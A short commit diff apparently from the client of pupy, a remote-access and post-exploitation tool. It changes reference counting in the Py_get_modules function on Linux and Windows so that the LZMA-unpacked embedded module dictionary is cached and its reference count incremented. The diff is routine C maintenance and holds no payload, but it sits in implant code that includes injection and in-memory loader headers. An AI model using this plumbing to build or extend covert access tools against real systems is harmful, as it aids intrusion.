Manage refcnt for module dicts properly

client/sources-linux/pupy.c

@@ -45,10 +45,9 @@ static PyObject *Py_get_modules(PyObject *self, PyObject *args)
 
         munmap((char *) library_c_start,
             library_c_size);
-
-        Py_XINCREF(modules);
     }
 
+	Py_INCREF(modules);
     return modules;
 }
 

client/sources/pupy.c

@@ -8,6 +8,7 @@
 #include <windows.h>
 #include "MyLoadLibrary.h"
 #include "base_inject.h"
+
 static char module_doc[] = "Builtins utilities for pupy";
 
 #ifndef UINTPTR
@@ -60,12 +61,20 @@ static PyObject *Py_set_exit_session_callback(PyObject *self, PyObject *args)
 
 static PyObject *Py_get_modules(PyObject *self, PyObject *args)
 {
-	return PyObject_lzmaunpack(
+	static PyObject *modules = NULL;
+	if (!modules) {
+		int rc;
+
+		modules = PyObject_lzmaunpack(
 			library_c_start,
 			library_c_size
 		);
 	}
 
+	Py_INCREF(modules);
+	return modules;
+}
+
 static PyObject *
 Py_get_pupy_config(PyObject *self, PyObject *args)
 {